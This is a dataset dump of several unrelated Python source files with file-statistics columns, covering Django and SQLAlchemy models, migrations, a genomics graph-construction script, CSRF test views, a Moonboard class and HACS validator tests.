pressure_surface_2d_asfloat32) nt.assert_array_equal(expected_dp_psfc_2d, result_dp.values) def test_dpres_plevel_float32_msg_nan(self): result_dp = dpres_plevel(pressure_levels_asfloat32, pressure_surface_2d_nan_asfloat32) asd = np.sum(result_dp.values != expected_dp_psfc_2d_msg_nan) nt.assert_array_almost_equal(expected_dp_psfc_2d_msg_nan, result_dp.values) def test_dpres_plevel_float32_msg_99(self): result_dp = dpres_plevel(pressure_levels_asfloat32, pressure_surface_2d_msg_asfloat32, msg_py=-99) nt.assert_array_equal(expected_dp_psfc_2d_msg_99, result_dp.values)
41.69375
84
0.705142
1,096
6,671
3.916058
0.135949
0.136067
0.198509
0.257223
0.747437
0.687558
0.585275
0.585275
0.551258
0.526794
0
0.176812
0.172538
6,671
159
85
41.955975
0.600725
0.063109
0
0.163793
0
0
0.000802
0
0
0
0
0
0.068966
1
0.068966
false
0
0.068966
0
0.172414
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1201a1c61fecb43de521f62a649ca54dc060a49c
1,698
py
Python
authentication/models.py
MichaelNjoroge254/Sendit
367d69c30f061dea07c7601c4015dd8322d8426b
[ "MIT" ]
null
null
null
authentication/models.py
MichaelNjoroge254/Sendit
367d69c30f061dea07c7601c4015dd8322d8426b
[ "MIT" ]
null
null
null
authentication/models.py
MichaelNjoroge254/Sendit
367d69c30f061dea07c7601c4015dd8322d8426b
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import (AbstractBaseUser,BaseUserManager,PermissionsMixin) from rest_framework_simplejwt.tokens import RefreshToken # Create your models here. class UserManager(BaseUserManager): def create_user(self,username,email,password=None): if username is None: raise TypeError('User should have a username') if email is None: raise TypeError('User should have an Email') user=self.model(username=username,email=self.normalize_email(email)) user.set_password(password) user.save() return user def create_superuser(self,username,email,password=None): if password is None: raise TypeError('Password should not be none') user=self.create_user(username,email,password) user.is_superuser=True user.is_staff=True user.save() return user class User(AbstractBaseUser,PermissionsMixin): username=models.CharField(max_length=255,unique=True,db_index=True) email=models.EmailField(max_length=255,unique=True,db_index=True) is_verified=models.BooleanField(default=False) is_active=models.BooleanField(default=True) is_staff=models.BooleanField(default=False) created_at=models.DateTimeField(auto_now_add=True) updated_at=models.DateTimeField(auto_now=True) USERNAME_FIELD='email' REQUIRED_FIELDS=['username'] objects = UserManager() def __str__(self): return self.email def tokens(self): refresh=RefreshToken.for_user(self) return { 'refresh':str(refresh), 'access':str(refresh.access_token) }
28.779661
90
0.699647
204
1,698
5.681373
0.357843
0.02761
0.054357
0.051769
0.217429
0.169111
0.115617
0.056946
0
0
0
0.004468
0.209069
1,698
59
91
28.779661
0.858526
0.014134
0
0.1
0
0
0.062762
0
0
0
0
0
0
1
0.1
false
0.15
0.075
0.025
0.575
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
1204924c2340fdc2863f440dc37f2be0f500c12f
2,915
py
Python
scripts/construct_bakeoff_graphs.py
vgteam/toil-vg
9ef7175d110d8f82e63330fb275c05cd8c1c7f32
[ "Apache-2.0" ]
6
2019-08-04T17:15:53.000Z
2022-01-19T03:54:57.000Z
scripts/construct_bakeoff_graphs.py
vgteam/toil-vg
9ef7175d110d8f82e63330fb275c05cd8c1c7f32
[ "Apache-2.0" ]
245
2017-07-19T16:41:13.000Z
2021-06-12T05:06:46.000Z
scripts/construct_bakeoff_graphs.py
vgteam/toil-vg
9ef7175d110d8f82e63330fb275c05cd8c1c7f32
[ "Apache-2.0" ]
11
2017-08-03T05:42:28.000Z
2021-04-06T08:06:58.000Z
#!/usr/bin/python """ Locally regenerate all the bakeoff regions graphs and indexes that are found here s3://vg-data/bakeoff/ The input fasta's and vcf's are expected to be there already. Assumes you have authenticated S3 access configured. If not, the files are mirrored to https://courtyard.gi.ucsc.edu/~anovak/vg-data/bakeoff/ """ import os, sys, subprocess region_to_bed_hg38 = { 'BRCA1':('17', 43044293, 43125482), 'BRCA2':('13', 32314860, 32399849), 'SMA':('5', 69216818, 71614443), 'MHC':('6', 28510119, 33480577) } def get_vcf_coords_hg38(region): r = region_to_bed_hg38[region] # change bed to 1-based inclusive return '{}:{}-{}'.format(r[0], r[1] + 1, r[2]) def get_vcf_path_hg38(region): return 's3://vg-data/bakeoff/1kg_hg38-{}.vcf.gz'.format(region) def get_fasta_path_hg38(region): chrom = region_to_bed_hg38[region][0] return 's3://vg-data/bakeoff/chr{}.fa.gz'.format(chrom) if len(sys.argv) not in [3,4]: print "Usage: {} jobstore outstore <config>".format(sys.argv[0]) sys.exit(1) job_store = sys.argv[1] out_store = sys.argv[2] config = sys.argv[3] if len(sys.argv) == 4 else None config_opts = [] if not config else ['--config', config] for region in ['BRCA1', 'BRCA2', 'SMA', 'MHC']: # make the graphs/indexes and a bunch of controls cmd = ['toil-vg', 'construct', job_store, out_store, '--vcf', get_vcf_path_hg38(region), '--fasta', get_fasta_path_hg38(region), '--regions', get_vcf_coords_hg38(region), '--out_name', 'snp1kg-{}'.format(region), '--alt_paths', '--realTimeLogging', '--control_sample', 'HG00096', '--min_af', '0.0335570469', '--primary', '--filter_samples', 'HG00096', '--xg_index', '--gcsa_index', '--gbwt_index'] + config_opts subprocess.check_call(cmd) # make the names consistent to what we've been using for os_file in os.listdir(out_store): prefix = 'snp1kg-{}'.format(region) if os_file.startswith(prefix): if os_file.endswith('.gcsa.lcp'): ext = '.gcsa.lcp' name = os_file[:-len(ext)] else: name, ext = os.path.splitext(os_file) new_name = 'snp1kg' + name[len(prefix):] + '-{}'.format(region) + ext if new_name.startswith('snp1kg_primary'): new_name = new_name[len('snp1kg_'):] elif new_name.startswith('snp1kg_minaf_0.0335570469'): new_name = 'snp1kg_threshold10' + new_name[len('snp1kg_minaf_0.0335570469'):] elif new_name.startswith('snp1kg_filter'): new_name = 'snp1kg_filter_HG00096' + new_name[len('snp1kg_filter'):] if os_file != new_name: cmd = ['mv', os.path.join(out_store, os_file), os.path.join(out_store, new_name)] subprocess.check_call(cmd)
37.371795
97
0.61578
399
2,915
4.305764
0.380952
0.048894
0.030268
0.026193
0.175786
0
0
0
0
0
0
0.077093
0.225729
2,915
77
98
37.857143
0.684094
0.050429
0
0.038462
1
0
0.215951
0.058078
0
0
0
0
0
0
null
null
0
0.019231
null
null
0.019231
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
1209b4045b42d1585afad005fd46757536e6bbca
295
py
Python
coolshell-puzzle-answers/3-QR Code.py
rainzhop/cumulus-tank
09ebc7858ea53630e30606945adfea856a80faa3
[ "MIT" ]
null
null
null
coolshell-puzzle-answers/3-QR Code.py
rainzhop/cumulus-tank
09ebc7858ea53630e30606945adfea856a80faa3
[ "MIT" ]
null
null
null
coolshell-puzzle-answers/3-QR Code.py
rainzhop/cumulus-tank
09ebc7858ea53630e30606945adfea856a80faa3
[ "MIT" ]
null
null
null
a = 'abcdefghijklmnopqrstuvwxyz' b = 'pvwdgazxubqfsnrhocitlkeymj' trans = str.maketrans(b, a) src = 'Wxgcg txgcg ui p ixgff, txgcg ui p epm. I gyhgwt mrl lig txg ixgff wrsspnd tr irfkg txui hcrvfgs, nre, hfgpig tcm liunz txg crt13 ra "ixgff" tr gntgc ngyt fgkgf.' print(src.translate(trans))
32.777778
169
0.749153
46
295
4.804348
0.76087
0.063348
0.072398
0
0
0
0
0
0
0
0
0.008097
0.162712
295
8
170
36.875
0.88664
0
0
0
0
0.2
0.722034
0.176271
0
0
0
0
0
1
0
false
0
0
0
0
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
120a22cf54294f2464f7a758d3cafbafffe457cb
1,017
py
Python
Sistema/sisprel/backend/app/app/models/survey.py
JosueHernandezR/TTR
204a501da14a04310e85b43230c5e32c2009e471
[ "MIT" ]
null
null
null
Sistema/sisprel/backend/app/app/models/survey.py
JosueHernandezR/TTR
204a501da14a04310e85b43230c5e32c2009e471
[ "MIT" ]
null
null
null
Sistema/sisprel/backend/app/app/models/survey.py
JosueHernandezR/TTR
204a501da14a04310e85b43230c5e32c2009e471
[ "MIT" ]
null
null
null
from datetime import datetime from typing import TYPE_CHECKING from sqlalchemy.sql.schema import PrimaryKeyConstraint, UniqueConstraint from app.db.base_class import Base from sqlalchemy import Column, DateTime, ForeignKey, Integer, Boolean, String, Text from sqlalchemy.orm import relationship if TYPE_CHECKING: from .user import User # noqa: F401 from .results import Survey_Results # noqa: F401 from .question import Question # noqa: F401 class Survey(Base): id = Column(Integer, primary_key=True, index=True) title = Column(String, index= True) description = Column(Text) create_at = Column(DateTime, default=datetime.utcnow()) active_survey = Column(Boolean(), default=True) weight_total = Column(Integer, default=0, nullable=False) owner_id = Column(Integer, ForeignKey("user.id", onupdate="CASCADE", ondelete="CASCADE")) owner = relationship("User", backref="survey") # Relacion 1 a muchos questions = relationship("Question", back_populates="surveys")
39.115385
93
0.748279
126
1,017
5.960317
0.47619
0.055925
0.04261
0
0
0
0
0
0
0
0
0.012806
0.155359
1,017
26
94
39.115385
0.861467
0.051131
0
0
0
0
0.047867
0
0
0
0
0
0
1
0
false
0
0.45
0
0.95
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
121910570688e3e575ff87a65265bc8f835bf959
554
py
Python
Ronit/mysite/grader/migrations/0005_auto_20180812_1549.py
anirbansen3027/UdacityOpenSource
c032f610a7861c234e189841f996bff877c94e34
[ "Apache-2.0" ]
3
2021-01-26T14:48:14.000Z
2021-06-30T18:19:48.000Z
Ronit/mysite/grader/migrations/0005_auto_20180812_1549.py
anirbansen3027/UdacityOpenSource
c032f610a7861c234e189841f996bff877c94e34
[ "Apache-2.0" ]
null
null
null
Ronit/mysite/grader/migrations/0005_auto_20180812_1549.py
anirbansen3027/UdacityOpenSource
c032f610a7861c234e189841f996bff877c94e34
[ "Apache-2.0" ]
1
2019-08-20T13:14:59.000Z
2019-08-20T13:14:59.000Z
# Generated by Django 2.1 on 2018-08-12 15:49 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('grader', '0004_auto_20180812_1546'), ] operations = [ migrations.AlterField( model_name='essay', name='content', field=models.TextField(max_length=100000), ), migrations.AlterField( model_name='question', name='question_title', field=models.TextField(max_length=100000), ), ]
23.083333
54
0.586643
55
554
5.763636
0.672727
0.126183
0.157729
0.182965
0.22082
0.22082
0
0
0
0
0
0.108808
0.303249
554
23
55
24.086957
0.712435
0.077617
0
0.352941
1
0
0.123772
0.045187
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
12207504f599104bd10565b1b9c5555424f4cc88
327
py
Python
python-exercises/FirstSteps.py
forkd/jam
fd17bf5a961d5b52fc52988fea8787d48aaa140e
[ "MIT" ]
null
null
null
python-exercises/FirstSteps.py
forkd/jam
fd17bf5a961d5b52fc52988fea8787d48aaa140e
[ "MIT" ]
null
null
null
python-exercises/FirstSteps.py
forkd/jam
fd17bf5a961d5b52fc52988fea8787d48aaa140e
[ "MIT" ]
null
null
null
# Comecando a programar em Python! # Imprime uma linha de texto na tela. print "Hello World!" # Inserindo uma virgula apos o comando print, o interpretador nao fara' a # +quebra de linha. Ele ira' inserir um espaco ao final da string. print "Welcome", print "to Python!" # Usando sequencias de escape! print "Hello\nground!"
27.25
73
0.743119
51
327
4.764706
0.764706
0.082305
0
0
0
0
0
0
0
0
0
0
0.174312
327
12
74
27.25
0.9
0.715596
0
0
0
0
0.488636
0
0
0
0
0
0
0
null
null
0
0
null
null
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
2
122311ebba1bc180fb4f8d5aa3209b212072f653
55
py
Python
packages/pytea/pylib/torch/backends/cudnn/__init__.py
Sehun0819/pytea
3f068016a71a1915722e51d977fedab01427a42c
[ "MIT" ]
241
2021-03-19T01:11:44.000Z
2022-03-25T03:15:22.000Z
packages/pytea/pylib/torch/backends/cudnn/__init__.py
Sehun0819/pytea
3f068016a71a1915722e51d977fedab01427a42c
[ "MIT" ]
2
2021-02-26T08:16:04.000Z
2022-02-28T02:52:58.000Z
packages/pytea/pylib/torch/backends/cudnn/__init__.py
Sehun0819/pytea
3f068016a71a1915722e51d977fedab01427a42c
[ "MIT" ]
14
2021-01-08T02:22:58.000Z
2022-01-19T14:13:14.000Z
enabled = True deterministic = False benchmark = False
13.75
21
0.781818
6
55
7.166667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.163636
55
3
22
18.333333
0.934783
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
123b83eb208bedb950b775960a8be9ec95386ab7
593
py
Python
roboPortal/migrations/0005_auto_20200219_1747.py
D-GopalKrishna/RobotixWeb2021
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
[ "Apache-2.0" ]
null
null
null
roboPortal/migrations/0005_auto_20200219_1747.py
D-GopalKrishna/RobotixWeb2021
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
[ "Apache-2.0" ]
null
null
null
roboPortal/migrations/0005_auto_20200219_1747.py
D-GopalKrishna/RobotixWeb2021
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
[ "Apache-2.0" ]
2
2021-01-30T08:22:57.000Z
2021-02-04T09:42:59.000Z
# Generated by Django 2.1.7 on 2020-02-19 12:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('roboPortal', '0004_auto_20200219_1745'), ] operations = [ migrations.AlterField( model_name='problem_statement', name='description', field=models.TextField(default='', max_length=10000), ), migrations.AlterField( model_name='problem_statement', name='requirements', field=models.TextField(max_length=10000), ), ]
24.708333
65
0.60371
58
593
6.017241
0.672414
0.114613
0.143266
0.166189
0.280802
0.280802
0.280802
0
0
0
0
0.096698
0.284992
593
23
66
25.782609
0.726415
0.075885
0
0.352941
1
0
0.164835
0.042125
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
125460c63ab244f7f97aa53666b61c0f9e7ced23
199
py
Python
test_motor.py
ankworld/Rpi_Therapy
e6fa454098a3947d29e469b4bbacb26fe322552f
[ "MIT" ]
null
null
null
test_motor.py
ankworld/Rpi_Therapy
e6fa454098a3947d29e469b4bbacb26fe322552f
[ "MIT" ]
null
null
null
test_motor.py
ankworld/Rpi_Therapy
e6fa454098a3947d29e469b4bbacb26fe322552f
[ "MIT" ]
null
null
null
from myLib import controlcore from time import sleep motor = controlcore.Motor(11, 13, 1000) dc = 100 for i in range(10): motor.l_drive(dc) sleep(5) motor.r_drive(dc) sleep(5)
11.705882
39
0.663317
33
199
3.939394
0.636364
0.107692
0.184615
0.2
0
0
0
0
0
0
0
0.098684
0.236181
199
16
40
12.4375
0.756579
0
0
0.222222
0
0
0
0
0
0
0
0
0
1
0
false
0
0.222222
0
0.222222
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1258f0708c53f88f27bf3af12d3c109bdef0b16d
5,707
py
Python
app/models.py
Gupta-Anubhav12/bhagavadgita-api
133ab6bf2a1adba943b9cbfe3394e30df5d7c8b2
[ "MIT" ]
null
null
null
app/models.py
Gupta-Anubhav12/bhagavadgita-api
133ab6bf2a1adba943b9cbfe3394e30df5d7c8b2
[ "MIT" ]
null
null
null
app/models.py
Gupta-Anubhav12/bhagavadgita-api
133ab6bf2a1adba943b9cbfe3394e30df5d7c8b2
[ "MIT" ]
null
null
null
from pydantic import BaseModel from typing import List example_chapters_list = [ { "chapter_number": 1, "name": "अर्जुनविषादयोग", "name_translation": "Arjuna Visada Yoga", "name_transliterated": "Arjun Viṣhād Yog", "name_meaning": "Arjuna's Dilemma", "chapter_summary": "The first chapter of the Bhagavad Gita - \"Arjuna Vishada Yoga\" introduces the setup, the setting, the characters and the circumstances that led to the epic battle of Mahabharata, fought between the Pandavas and the Kauravas. It outlines the reasons that led to the revelation of the of Bhagavad Gita.\nAs both armies stand ready for the battle, the mighty warrior Arjuna, on observing the warriors on both sides becomes increasingly sad and depressed due to the fear of losing his relatives and friends and the consequent sins attributed to killing his own relatives. So, he surrenders to Lord Krishna, seeking a solution. Thus, follows the wisdom of the Bhagavad Gita.", "verses_count": 47 }, { "chapter_number": 2, "name": "सांख्ययोग", "name_translation": "Sankhya Yoga", "name_transliterated": "Sānkhya Yog", "name_meaning": "Transcendental Knowledge", "chapter_summary": "The second chapter of the Bhagavad Gita is \"Sankhya Yoga\". This is the most important chapter of the Bhagavad Gita as Lord Krishna condenses the teachings of the entire Gita in this chapter. This chapter is the essence of the entire Gita. \n\"Sankhya Yoga\" can be categorized into 4 main topics - \n1. Arjuna completely surrenders himself to Lord Krishna and accepts his position as a disciple and Krishna as his Guru. He requests Krishna to guide him on how to dismiss his sorrow.\n2. Explanation of the main cause of all grief, which is ignorance of the true nature of Self.\n3. Karma Yoga - the discipline of selfless action without being attached to its fruits.\n4. Description of a Perfect Man - One whose mind is steady and one-pointed.", "verses_count": 72 }, ] example_verses_list = [ { "title": "Verse 1", "chapter_number": 1, "verse_number": "1", "text": "धृतराष्ट्र उवाच |\nधर्मक्षेत्रे कुरुक्षेत्रे समवेता युयुत्सवः |\nमामकाः पाण्डवाश्चैव किमकुर्वत सञ्जय ॥1॥\n", "transliteration": "dhṛitarāśhtra uvācha\ndharma-kṣhetre kuru-kṣhetre samavetā yuyutsavaḥ\nmāmakāḥ pāṇḍavāśhchaiva kimakurvata sañjaya\n", "meaning": "Dhritarastra said: O Sanjaya, what did my sons and the sons of Pandu actually do when, eager for battle, they gathered together on the holy field of Kuruksetra?", "word_meanings": "dhṛitarāśhtraḥ uvācha—Dhritarashtra said; dharma-kṣhetre—the land of dharma; kuru-kṣhetre—at Kurukshetra; samavetāḥ—having gathered; yuyutsavaḥ—desiring to fight; māmakāḥ—my sons; pāṇḍavāḥ—the sons of Pandu; cha—and; eva—certainly; kim—what; akurvata—did they do; sañjaya—Sanjay\n" }, { "title": "Verse 2", "chapter_number": 1, "verse_number": "2", "text": "सञ्जय उवाच ।\nदृष्ट्वा तु पाण्डवानीकं व्यूढं दुर्योधनस्तदा ।\nआचार्यमुपसङ्गम्य राजा वचनमब्रवीत् ॥2॥\n", "transliteration": "sañjaya uvācha\ndṛiṣhṭvā tu pāṇḍavānīkaṁ vyūḍhaṁ duryodhanastadā\nāchāryamupasaṅgamya rājā vachanamabravīt\n", "meaning": "Sanjaya said: But then, seeing the army of the Pandavas in battle array, King Duryodhana approached his teacher (Dronacharya) and spoke the following words:", "word_meanings": "sanjayaḥ uvācha—Sanjay said; dṛiṣhṭvā—on observing; tu—but; pāṇḍava-anīkam—the Pandava army; vyūḍham—standing in a military formation; duryodhanaḥ—King Duryodhan; tadā—then; āchāryam—teacher; upasaṅgamya—approached; rājā—the king; vachanam—words; abravīt—spoke\n" }, ] class Chapter(BaseModel): chapter_number: int = 1 name: str = "अर्जुनविषादयोग" name_translation: str = "Arjuna Visada Yoga" name_transliterated: str = "Arjun Viṣhād Yog" name_meaning: str = "Arjuna's Dilemma" chapter_summary: str = """The first chapter of the Bhagavad Gita - \"Arjuna Vishada Yoga\" introduces the setup, the setting, the characters and the circumstances that led to the epic battle of Mahabharata, fought between the Pandavas and the Kauravas. It outlines the reasons that led to the revelation of the of Bhagavad Gita.\nAs both armies stand ready for the battle, the mighty warrior Arjuna, on observing the warriors on both sides becomes increasingly sad and depressed due to the fear of losing his relatives and friends and the consequent sins attributed to killing his own relatives. So, he surrenders to Lord Krishna, seeking a solution. Thus, follows the wisdom of the Bhagavad Gita.""" verses_count: int = 47 class AllChapters(BaseModel): chapters: List[Chapter] = example_chapters_list class Verse(BaseModel): title: str = "Verse 1" chapter_number: int = 1 verse_number: str = "1" text: str = "धृतराष्ट्र उवाच |\nधर्मक्षेत्रे कुरुक्षेत्रे समवेता युयुत्सवः |\nमामकाः पाण्डवाश्चैव किमकुर्वत सञ्जय ॥1॥\n" transliteration: str = "dhṛitarāśhtra uvācha\ndharma-kṣhetre kuru-kṣhetre samavetā yuyutsavaḥ\nmāmakāḥ pāṇḍavāśhchaiva kimakurvata sañjaya\n" meaning: str = "Dhritarastra said: O Sanjaya, what did my sons and the sons of Pandu actually do when, eager for battle, they gathered together on the holy field of Kuruksetra?" word_meanings: str = "dhṛitarāśhtraḥ uvācha—Dhritarashtra said; dharma-kṣhetre—the land of dharma; kuru-kṣhetre—at Kurukshetra; samavetāḥ—having gathered; yuyutsavaḥ—desiring to fight; māmakāḥ—my sons; pāṇḍavāḥ—the sons of Pandu; cha—and; eva—certainly; kim—what; akurvata—did they do; sañjaya—Sanjay\n" class AllVerses(BaseModel): verses: List[Verse] = example_verses_list
78.178082
773
0.729455
1,035
5,707
4.13913
0.303382
0.015173
0.018207
0.02381
0.616013
0.552521
0.550887
0.550887
0.550887
0.550887
0
0.005513
0.173646
5,707
72
774
79.263889
0.869805
0
0
0.080645
0
0.209677
0.791659
0.018048
0
0
0
0
0
1
0
false
0
0.048387
0
0.370968
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
89d1189e0d3aa08f453dd5a862cc6895c6500212
1,258
py
Python
tests/csrf_tests/views.py
imjvdn/scratch-game-1
5dffd79f17e0b66d3d2e57262749311aca28e850
[ "PSF-2.0", "BSD-3-Clause" ]
19
2015-07-07T02:08:59.000Z
2021-11-08T11:05:40.000Z
tests/csrf_tests/views.py
imjvdn/scratch-game-1
5dffd79f17e0b66d3d2e57262749311aca28e850
[ "PSF-2.0", "BSD-3-Clause" ]
57
2018-10-08T12:37:30.000Z
2018-10-08T17:39:26.000Z
tests/csrf_tests/views.py
imjvdn/scratch-game-1
5dffd79f17e0b66d3d2e57262749311aca28e850
[ "PSF-2.0", "BSD-3-Clause" ]
145
2019-03-14T18:54:45.000Z
2022-03-04T20:25:31.000Z
from django.http import HttpResponse from django.middleware.csrf import get_token from django.template import Context, RequestContext, Template from django.template.context_processors import csrf from django.views.decorators.csrf import ensure_csrf_cookie def post_form_view(request): """Return a POST form (without a token).""" return HttpResponse(content=""" <html><body><h1>\u00a1Unicode!<form method="post"><input type="text"></form></body></html> """, mimetype='text/html') @ensure_csrf_cookie def ensure_csrf_cookie_view(request): # Doesn't insert a token or anything. return HttpResponse() def token_view(request): context = RequestContext(request, processors=[csrf]) template = Template('{% csrf_token %}') return HttpResponse(template.render(context)) def non_token_view_using_request_processor(request): """Use the csrf view processor instead of the token.""" context = RequestContext(request, processors=[csrf]) template = Template('') return HttpResponse(template.render(context)) def csrf_token_error_handler(request, **kwargs): """This error handler accesses the CSRF token.""" template = Template(get_token(request)) return HttpResponse(template.render(Context()), status=599)
33.105263
90
0.748808
157
1,258
5.859873
0.350318
0.054348
0.052174
0.104348
0.259783
0.217391
0.126087
0
0
0
0
0.006404
0.131161
1,258
37
91
34
0.835316
0.133545
0
0.173913
0
0.043478
0.108939
0.063315
0
0
0
0
0
1
0.217391
false
0
0.217391
0.043478
0.652174
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
89d89098b89740a3fdaceb4946a48dc97dc7a32e
292
py
Python
todo.py
vyahello/todo-task-manager
3aa6f01559181a9d39421b923b460701321f58c0
[ "Apache-2.0" ]
1
2020-10-06T01:27:11.000Z
2020-10-06T01:27:11.000Z
todo.py
vyahello/todo-task-manager
3aa6f01559181a9d39421b923b460701321f58c0
[ "Apache-2.0" ]
5
2019-09-19T10:08:00.000Z
2021-08-22T18:42:58.000Z
todo.py
vyahello/todo-task-manager
3aa6f01559181a9d39421b923b460701321f58c0
[ "Apache-2.0" ]
1
2019-12-14T16:01:33.000Z
2019-12-14T16:01:33.000Z
"""A module provides entrypoint API to run `to-do` task master application.""" from lib import master def _run_master_application() -> None: """Runs `to-do` task master application.""" master.run(host="0.0.0.0", port=7777) if __name__ == "__main__": _run_master_application()
24.333333
78
0.691781
42
292
4.47619
0.571429
0.361702
0.085106
0.148936
0.265957
0
0
0
0
0
0
0.032653
0.160959
292
11
79
26.545455
0.734694
0.376712
0
0
0
0
0.087719
0
0
0
0
0
0
1
0.2
true
0
0.2
0
0.4
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
89e3fac1880b919492d71ed576894aa36eb4db40
3,214
py
Python
moonboard.py
juangallostra/moonboard
d4a35857d480ee4bed06faee44e0347e1070b6b8
[ "MIT" ]
null
null
null
moonboard.py
juangallostra/moonboard
d4a35857d480ee4bed06faee44e0347e1070b6b8
[ "MIT" ]
null
null
null
moonboard.py
juangallostra/moonboard
d4a35857d480ee4bed06faee44e0347e1070b6b8
[ "MIT" ]
null
null
null
class MoonBoard(): """ Class that encapsulates Moonboard layout info for a specific year. :param year_layout: Year in which this board layout was published :type year_layout: int :param image: Path to the image file for this board layout :type image: str :param rows: Number of rows of the board. Defaults to 18 :type rows: int, optional :param cols: Number of columns of the board. Defaults to 11 :type cols: int, optional """ def __init__(self, year_layout: int, image: str, rows: int = 18, cols: int = 11) -> None: """ Initialize a MoonBoard object. """ self._year_layout = year_layout self._image = image self._rows = rows self._cols = cols def __str__(self) -> str: """Get a user friendly string representation of the MoonBoard class :return: User firendly string representation if this Moonboard object :rtype: str """ return f"{__class__.__name__} for {self._moonboard.get_year_layout()} layout" def __hash__(self) -> int: """ Compute hash from the year, image path """ return hash(self._year_layout) ^ hash(self._image) ^ hash(self._rows) ^ hash(self._cols) def __eq__(self, __o: object) -> bool: """ Test for equality between two MoonBoard objects """ if hash(self) != hash(__o): # if hashes are not equal, objects cannot be equal return False return self._year_layout == __o._year_layout and self._image == __o._image and self._rows == __o._rows and self._cols == __o._cols def get_rows(self) -> int: """ Get number of rows of the board :return: Number of rows of the board :rtype: int """ return self._rows def get_cols(self) -> int: """ Get number of columns of the board :return: Number of columns of the board :rtype: int """ return self._cols def get_year_layout(self) -> int: """ Get the year in which this board layout was published :return: Year in which this board layout was published :rtype: int """ return self._year_layout def get_image(self) -> str: """ Get the path to the image file for this board layout :return: Image path :rtype: str """ return self._image def get_moonboard(year: int) -> MoonBoard: """ Factory function. Given a year, return a Moonboard object encapsulating the Moonboard layout info of that year. :param year: Year of the desired Moonboard layout :type year: int :return: Moonboard object encapsulating the Moonboard layout info :rtype: MoonBoard :raises ValueError: Year is not a valid Moonboard year """ if year == 2016: return MoonBoard(2016, 'moonboards/2016.jpg') elif year == 2017: return MoonBoard(2017, 'moonboards/2017.jpg') elif year == 2019: return MoonBoard(2019, 'moonboards/2019.jpg') elif year == 2020: return MoonBoard(2020, 'moonboards/2020.jpg', rows=12) raise ValueError('Invalid year')
30.609524
138
0.615121
414
3,214
4.596618
0.214976
0.057803
0.031529
0.023647
0.270625
0.249606
0.179716
0.09774
0.037835
0
0
0.02563
0.295893
3,214
104
139
30.903846
0.815289
0.440884
0
0
0
0
0.106676
0.024088
0
0
0
0
0
1
0.28125
false
0
0
0
0.6875
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
89e780bf86bd338d3bc5de4a17a586889e1babd9
1,051
py
Python
tests/validate/test_brands_check copy.py
kiss2u/integration
230b7035898b5faa3b40af76261d362bc2224b77
[ "MIT" ]
15
2022-02-25T13:17:43.000Z
2022-03-24T15:23:22.000Z
tests/validate/test_brands_check copy.py
kiss2u/integration
230b7035898b5faa3b40af76261d362bc2224b77
[ "MIT" ]
6
2019-03-02T10:13:15.000Z
2019-03-02T14:00:40.000Z
tests/validate/test_brands_check copy.py
ludeeus/harm
55794176fccf55321780decf9ef354e91a41d1b9
[ "MIT" ]
1
2022-03-08T13:25:35.000Z
2022-03-08T13:25:35.000Z
import json import pytest from custom_components.hacs.validate.brands import Validator from tests.sample_data import response_rate_limit_header @pytest.mark.asyncio async def test_added_to_brands(repository, aresponses): aresponses.add( "brands.home-assistant.io", "/domains.json", "get", aresponses.Response( body=json.dumps({"custom": ["test"]}), headers=response_rate_limit_header, ), ) repository.data.domain = "test" check = Validator(repository) await check.execute_validation() assert not check.failed @pytest.mark.asyncio async def test_not_added_to_brands(repository, aresponses): aresponses.add( "brands.home-assistant.io", "/domains.json", "get", aresponses.Response( body=json.dumps({"custom": []}), headers=response_rate_limit_header, ), ) repository.data.domain = "test" check = Validator(repository) await check.execute_validation() assert check.failed
25.02381
60
0.657469
114
1,051
5.885965
0.377193
0.053651
0.076006
0.102832
0.769001
